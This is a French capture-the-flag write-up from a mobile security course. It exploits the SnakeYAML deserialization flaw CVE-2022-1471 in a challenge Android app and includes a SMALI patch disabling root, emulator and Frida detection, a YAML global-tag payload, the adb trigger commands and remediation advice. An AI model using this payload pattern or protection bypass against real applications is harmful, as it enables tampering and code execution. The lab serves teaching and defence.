Cours : Sécurité des applications mobiles Analyste : Omar Haouani APK cible : snake.apk Vulnérabilité : CVE-2022-1471 (SnakeYAML RCE)
- Introduction
- Environnement Technique
- Phase 1 : Installation de l'APK
- Phase 2 : Analyse Statique avec JADX
- Phase 3 : Protections Identifiées
- Phase 4 : Patch SMALI pour Bypasser les Protections
- Phase 5 : Création du Payload YAML
- Phase 6 : Déclenchement de l'Exploitation
- Phase 7 : Récupération du Flag
- Schéma du Flux d'Exploitation
- Tableau de Synthèse des Découvertes
- Vulnérabilités Identifiées
- Recommandations Correctives
- Liste de Contrôle Finale
- Conclusion
- Ressources Documentaires
Ce laboratoire porte sur l'exploitation d'une vulnérabilité de désérialisation YAML (CVE-2022-1471) dans une application Android. L'application cible utilise la bibliothèque SnakeYAML version 1.33, vulnérable à l'instanciation arbitraire de classes.
- Analyser statiquement l'APK pour comprendre la logique de l'application
- Identifier la vulnérabilité SnakeYAML
- Contourner les protections anti-root, anti-émulateur et anti-Frida
- Développer un payload YAML pour forcer l'instanciation de la classe cible
- Récupérer le flag via les logs système (logcat)
| Outil | Version |
|---|---|
| ADB | 1.0.41 |
| APKTool | Dernière version |
| JADX-GUI | Dernière version |
| APKSigner | Android SDK |
| Émulateur | Android Emulator |
cd C:\APK-Analysis
adb install snake.apk
Résultat : Performing Streamed Install → Success
L'analyse avec JADX révèle deux composants critiques :
- Package principal : com.pwnsec.snake
- Classe vulnérable : BigBoss
public class BigBoss {
static {
System.loadLibrary("snake"); // Chargement natif
}
public BigBoss(String str) {
String strStringFromJNI = stringFromJNI(str);
if (str.equals("Snaaaaaaaaaaaaaa")) {
Log.d("BigBoss:", hexToAscii(strStringFromJNI));
}
}
private String hexToAscii(String str) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < str.length(); i += 2) {
sb.append((char) Integer.parseInt(str.substring(i, i + 2), 16));
}
return sb.toString();
}
public native String stringFromJNI(String str);
}| Élément | Description |
|---|---|
| Extra Intent "SNAKE" | Valeur attendue : "BigBoss" pour déclencher la lecture YAML |
| Fichier YAML | /sdcard/Snake/Skull_Face.yml |
| Bibliothèque | SnakeYAML v1.33 (vulnérable à CVE-2022-1471) |
| Classe cible | com.pwnsec.snake.BigBoss |
| Paramètre attendu | "Snaaaaaaaaaaaaaa" |
| Flag | Log.d("BigBoss :", hexToAscii(stringFromJNI(...))) |
L'application implémente plusieurs mécanismes anti-tampering :
- Détection de root : Vérification de Build.TAGS, présence de fichiers comme
/system/app/Superuser.apk, exécution de la commandesu - Détection d'émulateur : Vérification des propriétés système (ro.hardware, ro.product.model)
- Détection de Frida : Checks dans la librairie native (processus, ports)
apktool d snake.apk -o snake_smali
cd snake_smali/smali/com/pwnsec/snake/Rechercher dans JADX les strings suivantes :
- "root", "su", "test-keys"
- "emulator", "goldfish", "ranchu"
- "frida", "27042"
# Code original
.method public static isRooted()Z
...
const/4 v0, 0x1
return v0
.end method
# Code patché
.method public static isRooted()Z
...
const/4 v0, 0x0
return v0
.end methodapktool b snake_smali -o snake_patched.apk
apksigner sign --ks keystore.jks snake_patched.apk
adb install -r snake_patched.apkadb shell mkdir -p /sdcard/Snake!!com.pwnsec.snake.BigBoss ["Snaaaaaaaaaaaaaa"]| Élément | Rôle |
|---|---|
| !!com.pwnsec.snake.BigBoss | Global tag forçant l'instanciation de la classe BigBoss |
| ["Snaaaaaaaaaaaaaa"] | Tableau contenant le paramètre exact attendu |
| CVE-2022-1471 | Vulnérabilité de désérialisation SnakeYAML < 2.0 |
adb push Skull_Face.yml /sdcard/Snake/Skull_Face.ymladb shell am start -n com.pwnsec.snake/.MainActivity -e SNAKE BigBossL'extra -e SNAKE BigBoss satisfait la condition dans MainActivity, déclenchant la lecture du fichier YAML, son parsing par SnakeYAML, l'instanciation de BigBoss avec le paramètre "Snaaaaaaaaaaaaaa", et l'appel à la fonction native qui log le flag.
adb logcat | grep -i "BigBoss"PMNSEC{N3'r3_NOT_TOOLS_OF_The_g0v3rmm3n7_OR_4nyOn3_3L5s3}
Installation de snake.apk ↓ Patch SMALI (bypass des protections) ↓ Recompilation & signature ↓ Création du dossier /sdcard/Snake/ ↓ Écriture du payload YAML dans Skull_Face.yml ↓ Lancement avec adb shell am start -e SNAKE BigBoss ↓ Lecture du YAML → Désérialisation → Instanciation de BigBoss ↓ Appel à stringFromJNI("Snaaaaaaaaaaaaaa") ↓ Flag affiché dans logcat
| Composant | Méthode | Valeur / Résultat |
|---|---|---|
| Extra Intent | ADB | -e SNAKE BigBoss |
| Payload YAML | Fichier | !!com.pwnsec.snake.BigBoss ["Snaaaaaaaaaaaaaa"] |
| Bibliothèque vulnérable | SnakeYAML | Version 1.33 (CVE-2022-1471) |
| Classe instanciée | Désérialisation | com.pwnsec.snake.BigBoss |
| Paramètre attendu | Code Java | "Snaaaaaaaaaaaaaa" |
| Flag | Logcat | PMNSEC{N3'r3_NOT_TOOLS_...} |
| Vulnérabilité | Sévérité | Description |
|---|---|---|
| SnakeYAML RCE (CVE-2022-1471) | Élevée | Désérialisation arbitraire de classes via global tags |
| Stockage externe non protégé | Moyenne | Fichier YAML lu depuis /sdcard/ |
| Secret dans le code | Moyenne | Chaîne "Snaaaaaaaaaaaaaa" visible dans JADX |
| Protections contournables | Moyenne | Anti-root/émulateur/Frida bypassables via SMALI |
| Flag dans les logs | Faible | Information sensible en clair dans logcat |
- Mettre à jour SnakeYAML vers la version 2.0+ qui désactive les global tags par défaut
- Ne pas utiliser
YAML.load()avec des données non fiables - Valider les entrées avant toute désérialisation
- Protéger le stockage externe avec chiffrement
- Utiliser des mécanismes anti-tampering plus robustes
- Ne pas logger de données sensibles en production
- Obfusquer le code Java et les chaînes sensibles
- Installation de snake.apk sur l'émulateur
- Analyse statique avec JADX - identification de BigBoss
- Compréhension de la vulnérabilité CVE-2022-1471
- Patch SMALI des protections anti-root/émulateur/Frida
- Recompilation et signature de l'APK patché
- Réinstallation de l'APK modifié
- Création du dossier /sdcard/Snake/
- Création du fichier Skull_Face.yml avec payload
- Transfert du fichier YAML sur l'appareil
- Lancement avec l'extra Intent SNAKE=BigBoss
- Récupération du flag via logcat
Ce laboratoire a démontré :
- La criticité de la vulnérabilité CVE-2022-1471 dans les applications utilisant SnakeYAML
- La possibilité de contourner les protections anti-tampering via le patch SMALI
- L'importance de valider les entrées avant désérialisation
- La nécessité de mettre à jour les bibliothèques vulnérables
Flag récupéré avec succès : PMNSEC{N3'r3_NOT_TOOLS_OF_The_g0v3rmm3n7_OR_4nyOn3_3L5s3}
- CVE-2022-1471 - SnakeYAML RCE
- Android Platform Tools (ADB)
- APKTool - Reverse Engineering
- JADX - Dex to Java Decompiler
Document réalisé dans le cadre du cours de Sécurité des applications mobiles — Omar Haouani, 2026